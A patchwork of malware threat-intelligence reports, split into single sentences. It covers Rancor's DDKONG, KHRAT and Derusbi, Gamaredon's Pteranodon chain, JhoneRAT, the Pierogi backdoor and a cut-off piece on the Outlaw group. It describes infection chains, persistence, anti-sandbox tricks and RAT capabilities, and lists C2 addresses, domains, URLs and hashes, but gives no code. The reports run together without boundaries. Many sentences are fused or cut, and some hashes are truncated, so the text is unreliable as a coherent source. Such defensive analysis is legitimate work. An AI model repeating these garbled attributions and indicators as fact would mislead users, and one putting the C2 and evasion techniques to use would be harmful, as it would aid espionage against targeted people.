The macro in this document gets executed when the user views the document and clicks Enable Content , at which point the macro locates and executes the data located under the Company field in the document ’s properties .
The C2 server 199.247.6.253 is known to be used by the Rancor group .
The script is downloading a second stage payload via the Microsoft tool msiexec .
Unfortunately at the time of discovery , the hosted file is unavailable .
Our systems were able to record the hash of file tmp.vbs , but the contents of the file are no longer available .
Pivoting off the filename and directory , we discovered a similar VBS script used by the Rancor actors that might give us some clues on what the contents of tmp.vbs would resemble .
File office.vbs ( SHA256 : 4b0b319b58c2c0980390e24379a2e2a0a1e1a91d17a9d3e26be6f4a39a7afad2 ) was discovered in directory c:\Windows\System32\spool\drivers\color .
Hashes for tmp.vbs :b 958e481c90939962081b9fb85451a2fb28f705d5b5060f5d9d5aebfb390f8 .
If the file tmp.vbs does in fact contain similar content as that of office.vbs , then it could be another method for downloading payloads onto the target .
DDKONG Plugin : SHA256 : 0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707 .
DDKONG Plugin : Compile Date and Time : 2017-02-17 08:33:45 AM .
DDKONG Plugin : File Type : PE32 executable ( DLL ) Intel 80386, for MS Windows .
DDKONG Plugin : File Name : H istory.nls .
The DllInstall export function is responsible for the core behavior of the malware , as just loading it does nothing .
Once this export is called , it checks for a hidden window with a caption of Hello Google !This check is performed to ensure that only one instance of the malware is running at a time .
The hidden window created by the malware filters on any user input ( e.g .
 keyboard or mouse activity ) .
This could be an attempt to evade sandbox analysis as mouse and keyboard movement is typically not performed .
The malware then proceeds to beacon to a configured remote server of cswksfwq.kfesv.xyz on TCP port 8080 .
Upon successful connection , the malware transmits victim information such as : hostname , IP address , Language Pack along with other operating system information .
The data transmitted are XOR encoded .
The malware supports the following capabilities : Terminate specific process、Enumerate processes、Upload file、Download file、Delete file、List folder contents、Enumerate storage volumes、Execute a command、Reverse shell、Take a screenshot .
KHRAT : SHA256 : aaebf987b8d80d71313c3c0f2c16d60874ffecbdda3bb6b44d6cba6d380 .
KHRAT : Compile Date and Time : 2018-05-02 05:22:23 PM .
KHRAT : File Type : PE32 executable ( DLL ) Intel 80386, for MS Windows .
KHRAT : File Name : 8081.dll .
When the DLL is initially loaded , it dynamically resolves and imports additional modules ( DLLs ’ ) needed .
Once loaded and the export entry of Rmcmd is called , it creates amutex named gkdflbmdfk .
This ensures that only one copy of the malware is running at a time .
It then begins to beacon to a configured domain of connect.bafunpda.xyz on TCP port 8081 .
The malware collects and transmits data from the host , such as hostname and is XOR encoded with the first byte of the network traffic being the key .
Reverse Shell :The malware behavior and code share similarities with an older KHRAT sample from May 2018 .
Sample ( SHA256 : bc1c3e754be9f2175b718aba62174a550cdc3d98ab9c36671a58073140381659 ) has the same export entry name and is also a reverse shell .
The newer sample appears to be a re-write for optimization purposes with the underlying behavior remaining the same , reverse shell .
Derusbi : SHA256 : 83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2ab .
Derusbi : Compile Date and Time : 2012-09-14 09:20:12 AM .
Derusbi : File Type :P E32 executable ( DLL ) Intel 80386, for MS Windows .
Derusbi : File Name : 32.dll .
Derusbi is abelieved to be used among a small group of attackers , which includes the Rancor group .
This particular sample is a loader that loads an encrypted payload for its functionality .
This DLL requires the loading executable to include a 32-byte key on the command line to be able to decrypt the embedded payload , which unfortunately we do not have .
Even though we don’t have the decryption key or loader , we have uncovered some interesting artifacts .
If the module that loads the sample is named myapp.exe the module will exit Once loaded , it sleeps for six seconds .
Looks for a Windows pipe named \\.\pipe\_kernel32.dll.ntdll.dll.user32.dll .
Looks for a Windows device named \Device\acpi_010221 .
 n July 2019 , we discovered an interesting VBScript named Chrome.vbs ( SHA256 : 0C3D4DFA566F3064A8A408D3E1097C454662860BCACFB6675D2B72739CE449C2 ) associated with the Rancor group .
This particular VBScript payload beacons to domain bafunpda.xyz , which is also used by thelisted above in Table 2 .
This VBScript is obfuscated and contains packed data that is used to infect a target with multiple chained persistent artifacts .
The MOF file created by the VBScript is used as a persistence mechanism viaManagement Instrumentation ( WMI ) Event Subscriptions .
MOF files are compiled scripts that describe Common Information Model ( CIM ) classes , which are compiled into the WMI repository .
The technique is described byATT&CK IDT1084 .
This particular MOF file creates a timer event that is triggered every five seconds .
The DLL located in the Media registry key is a variant of the KHRATIt beacons to domain connect.bafunpda.xyz and attempts to connect to TCP port 4433 .
This is the same domain used by theRancor , a cyber espionage group active since at least 2017 , continues to conduct targeted attacks in Southeastand has been found using an undocumented , custom malware family – which we ’ve dubbed Dudell – to download a second stage payload once its malicious macro is executed .
Additionally , Rancor is also using the Derusbi malware family to load a secondary payload once it infiltrates a target .
Rancor : 0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707 .
Rancor : AAEBF987B8D80D71313C3C0F2C16D60874FFECBDDA3BB6B44D6CBA6D38031609 .
Rancor : 0D61D9BAAB9927BB484F3E60384FDB6A3709CA74BC6175AB16B220A68F2B349E .
Rancor : DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E .
Rancor : CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A .
Rancor : BC1C3E754BE9F2175B718ABA62174A550CDC3D98AB9C36671A58073140381659 .
Rancor : 83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d .
Rancor : cswksfwq.kfesv.xyz .
Rancor : Connect.bafunpda.xyz .
Rancor : 199.247.6.253 .
Cyberwarfare : A deep dive into the latest Gamaredon Espionage Campaign .
Gamaredon Group is a Cyber Espionage persistent operation attributed to Russians FSB ( Federal Security Service ) in a long-term military and geo-political confrontation against the Ukrainian government and more in general against the Ukrainian military power .
Gamaredon has been active since 2014 , and during this time , the modus operandi has remained almost the same .
The most used malware implant is dubbed Pteranodon or Pterodo and consists of a multistage backdoor designed to collect sensitive information or maintaining access on compromised machines .
It is distributed in a spear phishing campaign with a weaponized office document that appears to be designed to lure military personnel .
In the recent months , Ukrainian CERT ( CERT-UA ) reported an intensification ofCyberattacks against military targets .
The new wave dates back to the end of November 2019 and was first analyzed by Vitali Kremez .
Starting from those findings , Cybaze-Yoroi ZLab team decided to deep dive into a technical analysis of the latest Pterodo implant .
The complex infection chain begins with a weaponized Office document named “ f.doc ” .
Hash : 76ea98e1861c1264b340cf3748c3ec74473b04d042cd6bfda9ce51d086cb5a1aThreat : Gamaredon Pteranodon weaponized document .
Brief Description : Doc file weaponized with Exploit .
Ssdeep : 768:u0foGtYZKQ5QZJQ6hKVsEEIHNDxpy3TI3dU4DKfLX9Eir : uG1aKQ5OwCrItq3TgGfLt9r .
The decoy document is written using the ukrainian language mixed to many special chars aimed to lure the target to click on it .
The document leverages the common exploit aka template injection and tries to download a second stage from “ http://win-apu.ddns.net/apu.dot ” .
Thanks to this  exploit ( Remote Code Execution exploit ) the user interaction is not required , in fact the “ enable macro ” button is not shown .
The downloaded document has a “ .dot ” extension , used by Microsoft Office to save templates for different documents with similar formats .
Basic Information on the “ .dot ” file are provided :Hash : e2cb06e0a5c14b4c5f58d0e56a1dc10b6a1007cf56c77ae6cb07946c3dfe82d8 .
Threat : Gamaredon Pteranodon loader dot file .
Brief Description : Dot file enabling the infection of the Gamaredon Pteranodon .
Ssdeep : 768:5KCB8tnh7oferuHpC0xw+hnF4J7EyKfJ : oI8XoWruHpp/P4 .
If we decide to open the document , we see that the document is empty , but it requires the enabling of the macro .
The body of the macro can be logically divided into two distinct parts :The first one is the setting of the registry key “ HKEY_CURRENT_USER\Software\Microsoft\Office\ ” & Application.Version & _ ” \Word\Security\ ” and the declaration of some other variables , such as the dropurl “ geticons.ddns.net ” .
The second one is the setting of the persistence mechanism through the writing of the vbs code in the Startup folder with name “ templates.vbs ” .
This vbs is properly the macro executed by the macro engine of word .
Analyzing the content of “ templates.vbs ” it is possible to notice that it define a variable containing a URL like “ http://geticons.ddns.net/ADMIN-PC_E42CAF54//autoindex .
 ]php ” obtained from “ hxp://get-icons.ddns .
 ]net/ ” & NlnQCJG & “ _ ” & uRDEJCn & “ //autoindex .
 ]php ” , where “ NlnQCJG ” is the name that identifies the computer on the network and “ uRDEJCn ” is the serial number of drive in hexadecimal encoding .
From this URL it tries to download another stage then storing it into “ C:\Users\admin\AppData\Roaming\ ” path with random name .
At the end , “ templates.vbs ” script will force the machine to reboot .
The dropped sample is an SFX archive , like the tradition of Gamaredon implants .
Hash : c1524a4573bc6acbe59e559c2596975c657ae6bbc0b64f943fffca663b98a95f .
Threat : Gamaredon Pteranodon implant SFX archive .
Brief Description : SFX Archive First Stage .
Ssdeep : 24576:zXwOrRsTQlIIIIwIEuCRqKlF8kmh/ZGg4kAL/WUKN7UMOtcv : zgwR/lIIIIwI6RqoukmhxGgZ+WUKZUMv .
By simply opening the SFX archive , it is possible to notice two different files that are shown below and named respectively “ 8957.cmd ” and “ 28847 ” .
When executed , the SFX archive will be extracted and the “ 8957.cmd ” will be run .
At this point , the batch script renames the “ 28847 ” file in “ 28847.exe ” , opens it using “ pfljk ,fkbcerbgblfhs ” as password and the file contained inside the “ 28847.exe ” file will be renamed in “ WuaucltIC.exe ” .
Finally , it will be run using “ post.php ” as argument .
The fact that the “ 28847.exe ” file can be opened makes us understand that  the “ 28847 ” file is another SFX file .
Some static information about SFX are :Hash : 3dfadf9f23b4c5d17a0c5f5e89715d239c832dbe78551da67815e41e2000fdf1 .
Threat : Gamaredon Pteranodon implant SFX archive .
Brief Description : SFX Archive Second Stage .
Ssdeep : 24576:vmoO8itbaZiW+qJnmCcpv5lKbbJAiUqKXM : OoZwxVvfoaPu .
Exploring it , it is possible to see several files inside of it ,  as well as the 6323 file .
In this case , the SFX archive contains 8 files : five of them are legit DLLs used by the “ 6323 ” executable to interoperate with the OLE format defined and used by Microsoft Office .
The “ ExcelMyMacros.txt ” and “ wordMacros.txt ” files contain further macro script , described next .
So , static analysis on the “ 6323 ” file shown as its nature : it is written using Microsoft Visual Studio .NET , therefore easily to reverse .
Before reversing the executable , it is possible to clean it allowing the size reduction and the junk instruction reduction inside the code .
The below image shows the information about the sample before and after the cleaning .
The first check performed is on the arguments : if the arguments length is equal to zero , the malware terminates the execution .
After that , the malware checks if the existence of the files “ ExcelMyMacros.txt ” and “ wordMacros.txt ” in the same path where it is executed : if true then it reads their contents otherwise it will exit .
As visible in the previous figure , the only difference between the files are in the variable , registry key and path used by Word rather than by Excel .
Finally the macros are executed using the Office engine .
So let ’s start to dissect the macros .
For a better comprehension we will be considering only one macro and in the specific case we will analyze “ wordMacros.txt ”   ones .
First of all the macro will set the registry key “ HKEY_CURRENT_USER\Software\Microsoft\Office\ ” & Application.Version & _ ” \Word\Security\ ” and then will set up two scheduled tasks that will start respectively every 12 and 15 minutes : the first one will run a “ IndexOffice.vbs ” in the path “ %APPDATA%\Microsoft\Office\ ” and the second one will run “ IndexOffice.exe ” in the same path .
Finally , the malware will write the “ IndexOffice.txt ” file in the  “ %APPDATA%\Microsoft\Office\ ” path .
The script will check the presence of the  “ IndexOffice.exe ” artifact : if true then it will delete it and it will download a new file/script from “ http://masseffect.space/<PC_Name>_<Hex_Drive_SN>/post.php ” .
The malware tries to save the C2 response and encoding it using Encode function .
This function accepts three parameters : the input file , the output file and the arrKey ; arrKey is calculated thanks to  GetKey function that accepts as input the Hexadecimal value of the Driver SN installed on the machine and returns the key as results .
Gamaredon cyberwarfare operations against Ukraine are still active .
This technical analysis reveals that the modus operandi of the Group has remained almost identical over the years .
The massive use of weaponized Office documents ,template injection , sfx archives , wmi and some VBA macrothat dinamically changes ,  make the Pterodon attack chain very malleable and adaptive .
However , the introduction of a .Net component is a novelty compared to previous Pterodon samples .
Gamaredon : 76ea98e1861c1264b340cf3748c3ec74473b04d042cd6bfda9ce51d086cb5a1a .
Gamaredon : e2cb06e0a5c14b4c5f58d0e56a1dc10b6a1007cf56c77ae6cb07946c3dfe82d8 .
Gamaredon : def13f94cdf793df3e9b42b168550a09ee906f07f61a3f5c9d25ceca44e8068c .
Gamaredon : c1524a4573bc6acbe59e559c2596975c657ae6bbc0b64f943fffca663b98a95f .
Gamaredon : 86977a785f361d4f26eb3e189293c0e30871de3c93b19653c26a31dd4ed068cc .
Gamaredon : http://win-apu.ddns.net/apu.dot/ .
Gamaredon : http://get-icons.ddns.net/apu.dot/ .
Gamaredon : http://masseffect.space/ .
JhoneRAT : Cloud based python RAT targeting Middle Eastern countries .
Today , Cisco Talos is unveiling the details of a new RAT we have identified we 're calling " JhoneRAT " .
This new RAT is dropped to the victims via malicious MicrosoftThe dropper , along with the Python, attempts to gather information on the victim 's machine and then uses multiple cloud services : Google Drive , Twitter , ImgBB and Google Forms .
The RAT attempts to download additional payloads and upload the information gathered during the reconnaissance phase .
This particular RAT attempts to target a very specific set of Arabic-speaking countries .
The filtering is performed by checking the keyboard layout of the infected systems .
Based on the analysed sample , JhoneRAT targets Saudi Arabia , Iraq , Egypt , Libya , Algeria , Morocco , Tunisia , Oman , Yemen , Syria , UAE , Kuwait , Bahrain and Lebanon .
The campaign shows an actor that developed a homemade RAT that works in multiple layers hosted on cloud providers .
JhoneRAT is developed in python but not based on public source code , as it is often the case for this type of malware .
The attackers put great effort to carefully select the targets located in specific countries based on the victim 's keyboard layout .
Everything starts with a malicious document using a well-known vulnerability to download a malicious document hosted on the internet .
For this campaign , the attacker chose to use a cloud provider ( Google ) with a good reputation to avoid URL blacklisting .
The malware is divided into a couple of layers — each layer downloads a new payload on a cloud provider to get the final RAT developed in python and that uses additional providers such as Twitter and ImgBB .
This RAT is a good example of how a highly focused attack that tries to blend its network traffic into the crowd can be highly effective .
In this campaign , focusing detection of the network is not the best approach .
Instead , the detection must be based on the behaviour on the operating system .
Attackers can abuse well-known cloud providers and abuse their reputations in order to avoid detection .
The fact that this attacker decided to leverage cloud services and four different services — and not their own infrastructure — is smart from an opsec point of view .
It is hard for the targets to identify legitimate and malicious traffic to cloud provider infrastructure .
Moreover , this kind of infrastructure uses HTTPS and the flow is encrypted that makes man-in-the-middle interception more complicated for the defender .
It is not the first time an attacker used only cloud providers .
Even while using these services , the authors of this JhoneRAT went further and used different user-agent strings depending on the request , and even on the downloaders the authors used other user-agent strings .
We already published a couple of articles about ROKRAT ( here , here , here and here ) where another unrelated actor , Group123 , made the same choice but with different providers .
The attacker implemented filtering based on the keyboard 's layout .
The malware is executed only for the following layout , the country is based on the Microsoft website :' 0401 ' : Saudi Arabia .
 ' 0801 ' : Iraq .
 ' 0c01 ' : Egypt .
 ' 1001 ' : Libya .
 ' 1401 ' : Algeria .
 ' 1801 ' : Morocco .
 ' 1c01 ' : Tunisia .
 ' 2001 ' : Oman .
 ' 2401 ' : Yemen .
 ' 2801 ' : Syria .
 ' 3801 ' : UAE .
 ' 3401 ' : Kuwait .
 ' 3c01 ' : Bahrain .
 ' 3001 ' : Lebanon .
We identified three malicious Microsoftdocuments that download and load an additional Office document with a Macro .
The oldest one from November 2019 , named " Urgent.docx " .
The author of the document asks to enable editing in English and in Arabic .
The second document from the beginning of January is named " fb.docx " and contains usernames and passwords from an alleged " Facebook " leak .
The more recent document is from mid-January and alleged to be from a United Arab Emirate organization .
The author blurred the content and asks the user to enable editing to see the content .
In the three documents , an additional Office document containing a Macro is downloaded and executed .
The documents are located on Google Drive .
The template located on Google Drive contains a macro .
The macro contains a virtual machine detection technique based on the serial number of the disks available in the victim environment .
Indeed , some VMs do not have serial numbers and the macro is executed only if a serial number exists .
A WMIC command is executed to get this information on the targeted system .
If a serial number exists , the rest of the code is executed .
The purpose is to download an image from a new Google Drive link .
It is interesting to note that the filename of the downloaded image is randomly generated based on a dictionary : Array ("cartoon" , "img" ,"photo") .
The filename will be cartoon.jpg or img.jpg or photo.jpg and the image usually depicts a cartoon .
The image file is a real image with a base64-encoded binary appended at the end .
The malware author has a curious sense of humor .
The base64 data and image are separated by the " **** " string .
The decoded binary filename is also randomly generated based on a dictionary : Array("proc" , "chrome" , "winrar") .
It can be proc.exe or chrome.exe or winrar.exe .
The decoded base64 data is an AutoIT binary .
This binary downloads a new file on Google Drive .
The filename is also randomly generated based on a dictionary $ARRAY[5]=["prc" ,"winrar" ,"chrome" ,"sync" ,"COM surr"] .
The final payload is a remote access tool ( RAT ) written in python .
We named this RAT " JhoneRAT " .
The python code is wrapped into an executable using pyinstaller .
It uses minimal obfuscation applied only on variables and function naming .
The RAT starts by launching three threads .
The first is responsible for checking if the system has the targeted keyboard layout — this is exclusively in Arabic-speaking countries .
The second will create the persistence and , finally , the last one to be started is the main cycle for the RAT .
As we explained before , the RAT targets specific countries by checking the keyboard 's layout .
In fact , this is one of the first checks it performs when it is executed .
The persistence is achieved by adding an entry with the name " ChromeUpdater " to the ' Software\\Microsoft\\Windows\\CurrentVersion\\Run ' .
This RAT uses three different cloud services to perform all its command and control ( C2 ) activities .
It checks for new commands in the tweets from the handle @jhone87438316 ( suspended by Twitter ) every 10 seconds using the BeautifulSoup HTML parser to identify new tweets .
These commands can be issued to a specific victim based on the UID generated on each target ( by using the disk serial and contextual information such as the hostname , the antivirus and the OS ) or to all of them .
The Exfiltration , however , is done via other cloud providers .
The screenshots are exfiltrated via the ImgBB website .
The remaining commands send feedback by posting data into Google Forms .
Finally , the RAT is able to download files encoded in base64 on Google Drive .
Feature-wise , the RAT has three commands :Take a screenshot and upload it to ImgBB .
Download binary disguised has a picture from Google Drive and execute it .
Execute a command and send the output to Google Forms .
The attacker put a couple of tricks in place to avoid execution on virtual machines ( sandbox ) .
The first trick is the check of the serial number of the disk .
The actor used the same technique in the macro and in the JhoneRAT .
By default , most of the virtual machines do not have a serial number on the disk .
The attacker used a second trick to avoid analysis of the python code .
The actor used the same trick that FireEye in the Flare-On 6 : Challenge 7: They removed the header of the python bytecode .
It can be perfectly executed without the header , but tools such as uncompyle6 need this header : $ uncompyle6 final2 .
ImportError : Unknown magic number 227 in final2 .
Additionally , the generated code by uncompyle6 varies depending on the version and the impact is important .
Based on our analysis and the behaviour of the executed malware , the correct interpretation is the first one based on the oldest version of uncompyle6 .
For this specific condition , it is important because it 's filtering on the keyboard layout to identify the targets .
This campaign shows a threat actor interested in specific Middle Eastern and Arabic-speaking countries .
It also shows us an actor that puts effort in opsec by only using cloud providers .
The malicious documents , the droppers and the RAT itself are developed around cloud providers .
Additionally the attackers implemented anti-VM ( and sandbox ) and anti-analysis tricks to hide the malicious activities to the analyst .
For example , the VM or the sandbox must have the keyboard layout of the targeted countries and a disk serial number .
This campaign started in November 2019 and it is still ongoing .
At this time , the API key is revoked and the Twitter account is suspended .
However , the attacker can easily create new accounts and update the malicious files in order to still work .
This campaign shows us that network-based detection is important but must be completed by system behaviour analysis .
JhoneRAT : 273aa20c4857d98cfa51ae52a1c21bf871c0f9cd0bf55d5e58caba5d1829846f .
JhoneRAT : 29886dbbe81ead9e9999281e62ecf95d07acb24b9b0906b28beb65a84e894091 .
JhoneRAT : d5f10a0b5c103100a3e74aa9014032c47aa8973b564b3ab03ae817744e74d079 .
JhoneRAT : 6cc0c11c754e1e82bca8572785c27a364a18b0822c07ad9aa2dc26b3817b8aa4 .
JhoneRAT : 7e1121fca3ac7c2a447b61cda997f3a8202a36bf9bb08cca3402df95debafa69 .
JhoneRAT : b4a43b108989d1dde87e58f1fd6f81252ef6ae19d2a5e8cd76440135e0fd6366 .
JhoneRAT : https://drive.google.com/uc?export=download&amp;id=1vED0wN0arm9yu7C7XrbCdspLjpoPKfrQ .
JhoneRAT : https://drive.google.com/uc?export=download&amp;id=1LVdv4bjcQegPdKrc5WLb4W7ad6Zt80zl .
JhoneRAT : https://drive.google.com/uc?export=download&amp;id=1OlQssMvjb7gI175qDx8SqTgRJIEp5Ypd .
JhoneRAT : https://drive.google.com/uc?export=download&id=1d-toE89QnN5ZhuNZIc2iF4-cbKWtk0FD .
JhoneRAT : https://drive.google.com/uc?export=download&id=1kbHVkvPIjX49qJ62TBz6drW2YPiiaX2a .
JhoneRAT : https://twitter.com/jhone87438316 .
New Cyber Espionage Campaigns Targeting Palestinians - Part 2 : The Discovery of the New , Mysterious Pierogi backdoor .
Since December 2019 , the Cybereason Nocturnus team has been investigating a campaign targeting Palestinian individuals and entities in the Middle East , mostly within the Palestinian territories .
This campaign uses social engineering and decoy documents related to geopolitical affairs and relations between the Palestinian government , and references Egypt , Hezbollah , and Iran .
Part one of this research investigates the Spark campaign , where attackers use social engineering to infect victims , mainly from the Palestinian territories , with the Spark backdoor .
For more information about part one , click here .
During the attacks , victims are infected with a previously undocumented backdoor , dubbed Pierogi by Cybereason .
This backdoor allows attackers to spy on targeted victims .
Cybereason suspects that the backdoor may have been obtained in underground communities rather than home-grown , as the evidence found in the code of the backdoor suggests it may have been developed by Ukranian-speaking hackers .
The tactics , techniques , and procedures ( TTPs ) , content , and theme of the decoy documents , as well as the victimology observed in the campaign , resemble previous attacks that have targeted Palestinians .
In particular , these campaigns appear to be related to attacks carried out by a group called MoleRATs ( aka , Gaza Cyber Gang , Moonlight ) , an Arabic-speaking , politically motivated group that has been operating in the Middle East since 2012 .
Cyber Espionage with a New Malware : The Cybereason Nocturnus team has discovered recent , targeted attacks in the Middle East to deliver the Pierogi backdoor for politically-driven cyber espionage .
Targeting Palestinians : The campaigns seems to target Palestinian individuals and entities , likely related to the Palestinian government .
Using Geopolitically-charged Lure Content : The attackers use specially crafted lure content to trick their targets into opening malicious files that infect the victim ’s machine with the Pierogi backdoor .
The decoy content of the malicious files revolves around various political affairs in the Middle East , specifically targeting the tension between Hamas and other entities in the region .
Perpetrated by an Arabic-speaking APT , MoleRATs : The modus-operandi of the attackers as well as the social engineering decoy content seem aligned with previous attacks carried out by an Arabic-speaking APT group called MoleRATs ( aka Gaza Cybergang ) .
This group has been operating in the Middle East since 2012 .
Similar to previous attacks , this campaign starts with social engineering .
In one instance , it lures victims to open an email attachment .
In others , it persuades victims to download a report about a recent political affair pertaining to the Middle East and specifically to Palestinian matters .
In most cases , the downloaded file is either an executable that masquerades as a Microsoft Word document or a weaponized Microsoft Word document .
As soon as the victim double-clicks on the dropper , they are presented with the decoy document .
The document lowers the victim ’s suspicions by distracting them with a real document while the dropper installs the backdoor .
However , some of the documents also play an additional role in the attack .
While some are more neutral , quoting from newspapers and the media , others seem to report fake news to spread misinformation that serves a political agenda .
With regards to decoy content themes , this campaign resembles previous campaigns reported in blogs by Vectra , Unit 42 , and Talos .
The contents of the decoy documents seems to include :Potentially fake documents that appear to be issued by the Palestinian government .
Meetings minutes of different Palestinian organizations .
News about Hamas and the Palestinian National Authority .
Potentially fake , leaked Hamas documents .
Criticism of and embarrassing content about Hamas .
adopted resolution Unlimited support for Palestinian people.docx :Describes a resolution by the Asian Parliamentary Assembly ( APA ) held in Anatalya , announcing unlimited support for the Palestinian people 7b4c736b92ce702fb584845380e237aa55ddb4ef693ea65a766c9d9890b3852c .
 jalsa.rar :Contains the above mentioned document , as well as photos of the assemblies and political cartoons criticizing Hamas 50a597aa557084e938e2a987ec5db99187428091e8141e616cced72e6a39de1b .
Internet in government.pdf / Define the Internet in government institutions.pdf :Announcement about a new regulation regarding internet usage in Palestinian government institutions .
The announcement states that porn , gambling and entertainment sites will be blocked 9e4464d8dc8a3984561a104a93a7b8d6eb3d622d5187ae1d3fa6f6dafa2231a8 .
Letter allegedly from theFederation of Independent Palestinian Communities and Organizations and Events in the Diaspora .
The letter commemorates the 73rd anniversary of the Syrian Army , and expresses the Palestinian support of Bashar Al-Asad .
The letter ends with “ Death to Israel ” and “ Humiliation and shame to the tyrant America ” 65c8b9e9017ac84d90553a252c836c38b6a3902e5ab24d3a4b8a584e2d615fcc .
Daily summary of news concerning different Palestinian govenment related issues d3771d58051cb0f4435232769ed11c0c0e6457505962ddb6eeb46d900de55428 .
Directory of Government Services.pdf :A screenshot from a website of the Palestinian government , showing a directory of the different ministries 9e4464d8dc8a3984561a104a93a7b8d6eb3d622d5187ae1d3fa6f6dafa2231a8 .
Meeting Agenda.pdf :Corrupted file f6876fd68fdb9c964a573ad04e4e0d3cfd328304659156efc9866844a28c7427 .
 imgonline-com-ua-dexifEEdWuIbNSv7G.jpg :potentially leaked Hamas document detailing Hamas 32nd anniversary expenses in different regions in the Palestinian Territories 932ecbc5112abd0ed30231896752ca471ecd0c600b85134631c1d5ffcf5469fb .
An .mp3 file of a song by the famous Syrian singer Asala Nasri ( song name : Fen Habibi , translation : “ where is my loved one? ” ) 4583b49086c7b88cf9d074597b1d65ff33730e1337aee2a87b8745e94539d964 .
In addition to the documents , the content includes a number of political cartoons that criticize Hamas ’ relations with Iran and Hamas ’ standing as a resistance movement .
While the majority of infections in this campaign did not originate from Malicious Microsoft Word document , the Cybereason Nocturnus team found several weaponized Microsoft Word document with an embedded downloaderthat downloads and installs the backdoor used in this attack .
CV Manal 1 :Resume of a woman from Abu-Dis , Palestinian Authority 4a6d1b686873158a1eb088a2756daf2882bef4f5ffc7af370859b6f87c08840f .
A statement of the Ministry of Finance on civil and military employee benefits and salaries , discussing the conterversial issue Palestinian Authority employees that have not been paid or paid in full their salaries b33f22b967a5be0e886d479d47d6c9d35c6639d2ba2e14ffe42e7d2e5b11ad80 .
When the victims open the document , they are encouraged to click on Enable Content , which causes the embedded maliciouscode to run .
The macro code embedded in the document is rather simple and is not obfuscated .
In fact , it is almost unusual in its unsophistication .
The macro code does the following :Downloads a Base64 encoded payload from the following URL :Writes the decoded payload to C:\ProgramData\IntegratedOffice.txt .
Decodes the Base64 payload and writes the file to C:\ProgramData\IntegratedOffice.exe .
Runs the executable file and deletes the .txt file .
Pierogi , the backdoor in this attack , appears to be a new backdoor written in Delphi .
It enables the attackers to spy on victims using rather basic backdoor capabilities .
While it is unknown at this point whether the backdoor was coded by the same members of the group behind the attacks , there are indications that suggest that the malware was authored by Ukranian-speaking malware developers .
The commands used to communicate with the C2 servers and other strings in the binary are written in Ukrainian .
This is why we chose to name the malware Pierogi , after the popular East European dish .
The backdoor has the following capabilities :Collects information about the infected machine .
Uploads files to the attackers ’ server .
Downloads additional payloads .
Takes screenshots from the infected machine .
Executes arbitrary commands via the CMD shell .
In addition to spy features , the backdoor also implements a few checks to ensure it is running in a safe environment .
Specifically , it looks for antivirus and other security products .
The backdoor queries Windows for installed antivirus software using WMI : SELECT * FROM AntiVirusProduct It looks for specific antivirus and security products installed on the infected machine , such as Kaspersky , eScan , F-secure and Bitdefender .
The backdoor achieves persistence using a classic startup item autorun technique :A shortcut is added to the the startup folder : C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup .
Once the user logs on to the infected machine , the shortcut points to the file binary location in the C:\ProgramData\ folder .
The GUID generated by the malware is saved in a file called GUID.bin .
This file is created in the same folder as the binary of the backdoor( C:\ProgramData\GUID.bin ) .
The backdoor has rather basic C2 functionality implemented through a predefined set of URLs :Sending machine information and a heartbeat to the C2 :URL : http://nicoledotson.icu/debby/weatherford/Yortysnr The information sent to the C2 includes :computer name , username , and GUID .
 av : Name of detected antivirus .
 osversion : version of the operating system .
 aname : the location of the malware on the infected machine .
Requesting commands from the C2 server :URL : http://nicoledotson.icu/debby/weatherford/Ekspertyza .
Ekspertyza means expertise or examination in Ukranian .
There are 3 basic commands coming from the server in the form of MD5 hashes :Dfff0a7fa1a55c8c1a4966c19f6da452 : cmd .
 51a7a76a7dd5d9e4651fe3d4c74d16d6 : downloadfile .
 62c92ba585f74ecdbef4c4498a438984 : screenshot .
Uploading data ( mainly screenshots ) to the C2 :URL : http://nicoledotson.icu/debby/weatherford/Zavantazhyty .
Zavantazhyty means to load or download in Ukranian .
This command is used to upload collected data to the C2 server .
For example , in some instances the backdoor uploads screenshots taken from an infected machine , as can be seen in the example below .
Removing information :URL : http://nicoledotso.icu/debby/weatherford/Vydalyty .
Vydalyty means to remove or delete in Ukrainian .
The malware can delete various requests based on the command below .
The records of the domains and IPs involved in this campaign seem to show that the attackers created a new infrastructure specifically for this campaign .
The domains were registered in November 2019 and operationalized shortly after .
In part two of this research , we examined theCybereason suspects thiscampaign targets Palestinian individuals and entities in the Middle East , specifically directed atthose in the Palestinian government .
The threat actors behind the campaign use social engineering to infect their victims with the Pierogi backdoor for cyber espionage purposes .
The threat actor behind the attack invested considerable time and effort to lure their victims with specially-crafted documents that target Palestinian individuals and entities in the Middle East .
In our analysis , we reviewed the TTPs and the decoy content , and pointed out the similarities between previous attacks that have been attributed to MoleRATs , an Arabic-speaking , politically motivated group that has operatedin the Middle East since 2012 .
The Pierogi backdoor discovered by Cybereason during this investigation seems to be undocumented and gives the threat actors espionage capabilities over their victims .
Based on the Ukranian language embedded in the backdoor , Cybereason raises the possibility that the backdoor was obtained in underground communities by the threat actors , rather than developed in-house by the group .
Outlaw Updates Kit to Kill Older Miner Versions , Targets More Systems .
As we ’ve observed with cybercriminal groups that aim to maximize profits for every campaign , silence does n’t necessarily mean inactivity .
It appears hacking group Outlaw , which has been silent for the past few months , was simply developing their toolkit for illicit income sources .
While they have been quiet since our June analysis , we observed an increase in the group ’s activities in December , with updates on the kits ’ capabilities reminiscent of their previous attacks .
The updates expanded scanner parameters and targets , looped execution of files via error messages , improved evasion techniques for scanning activities , and improved mining profits by killing off both the competition and their own previous miners .
We analyzed the kits , which were designed to steal information from the automotive and finance industries , launch subsequent attacks on already compromised systems , and ( possibly ) sell stolen information .
Comparing this development to their previous attacks , we think Outlaw may be aiming to go after enterprises that have yet to update their systems , assessing security and changes with their previously infected hosts , finding new and old targets , and possibly testing their updates in the wild .
We will continue to observe the group ’s activities as they target industries from the United States and Europe .
Based on the samples we collected and traced to 456 distinct IPs , we expect the group to be more active in the coming months as we observed changes on the versions we acquired .
These new samples targeted Linux- and Unix-based operating systems , vulnerable servers , and internet of things ( IoT ) devices by exploiting known vulnerabilities with available exploits .
